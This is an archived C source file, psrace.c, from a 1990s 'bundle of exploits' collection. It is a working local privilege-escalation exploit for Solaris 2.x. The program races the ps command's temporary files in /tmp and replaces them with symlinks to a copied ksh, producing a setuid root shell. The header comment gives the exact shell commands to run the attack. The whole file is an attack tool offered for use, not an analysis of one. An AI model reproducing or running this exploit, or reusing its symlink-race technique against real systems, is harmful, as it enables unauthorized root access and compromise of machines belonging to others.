home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / psrace.c < prev    next >
Text File  |  1998-07-17  |  2KB  |  113 lines

  1. /*
  2.  *  psrace.c
  3.  *
  4.  *  Copyright, 1995, by Scott Chasin (chasin@crimelab.com)
  5.  *
  6.  *  This material is copyrighted by Scott Chasin, 1995. The
  7.  *  usual standard disclaimer applies, especially the fact that the
  8.  *  author is not liable for any damages caused by direct or indirect
  9.  *  use of the information or functionality provided by this program.
  10.  *
  11.  *  [ For solaris2.x only ]
  12.  *
  13.  *  After compiling psrace, run the following commands:
  14.  *
  15.  *  cp /bin/ksh $HOME/rootshell; chmod 14755 $HOME/rootshell
  16.  *  /bin/sh -c 'while /bin/true ; do ps > /dev/null ; done' &
  17.  *  ./psrace $HOME/rootshell
  18.  *
  19.  *  (Ignore any errors you get from ps)
  20.  *  You may have to wait a few minutes before the race is won.
  21.  */
  22.  
  23. #include <stdio.h>
  24. #include <sys/types.h>
  25.  
  26. #include <dirent.h>
  27. #include <sys/stat.h>
  28.  
  29. main (argc, argv)
  30. int argc;
  31. char **argv;
  32. {
  33.   int count = 0;
  34.   DIR *dirp;
  35.   struct dirent *dp;
  36.   struct stat fileinfo;
  37.   char targetfile [85], name [85];
  38.  
  39.   if (argc != 2)
  40.    {
  41.       printf ("Usage: psrace [/full/path/to/target/filename]\n");
  42.       exit (1);
  43.    }
  44.  
  45.   if (access (argv[1], 0))
  46.    {
  47.       printf ("psrace: %s does not exist.\n", argv[1]);
  48.       exit (1);
  49.    }
  50.  
  51.   strcpy (targetfile, argv[1]);
  52.  
  53.   stat ("/tmp", &fileinfo);
  54.   if (fileinfo.st_mode & S_ISVTX)
  55.    {
  56.       printf ("psrace: Congratulations! You already have the fix in place.\n");
  57.       printf ("psrace: (/tmp has the sticky-bit set)\n");
  58.       exit (1);
  59.    }
  60.  
  61.   printf ("Be patient, this could take awhile.\n");
  62.   printf ("Starting the race .. ");
  63.   fflush (stdout);
  64.  
  65.   dirp = opendir ("/tmp");
  66.  
  67.   for (;;)
  68.    {
  69.      unlink ("/tmp/ps_data");
  70.  
  71.      while ((dp = readdir (dirp)) != NULL)
  72.       {
  73.         if (!strncmp (dp->d_name, "ps.", 3))
  74.          {
  75.            sprintf (name, "/tmp/%s", dp->d_name);
  76.            unlink (name);
  77.  
  78.            symlink (targetfile, name);
  79.  
  80.            if (stat (targetfile, &fileinfo) >= 0)
  81.                if (fileinfo.st_uid == 0)
  82.                  {
  83.                    printf ("We WON!\n");
  84.                    closedir (dirp);
  85.                    clean_up ();
  86.                  }
  87.          }
  88.       }
  89.      rewinddir (dirp);
  90.    }
  91.  }
  92.  
  93. clean_up ()
  94. {
  95.   DIR *dirp;
  96.   struct dirent *dp;
  97.   char name [25];
  98.  
  99.   dirp = opendir ("/tmp");
  100.  
  101.   while ((dp = readdir (dirp)) != NULL)
  102.       if (!strncmp (dp->d_name, "ps.", 3))
  103.        {
  104.           sprintf (name, "/tmp/%s", dp->d_name);
  105.           unlink (name);
  106.        }
  107.   closedir (dirp);
  108.  
  109.   unlink ("/tmp/ps_data");
  110.   exit (0);
  111. }
  112.  
  113.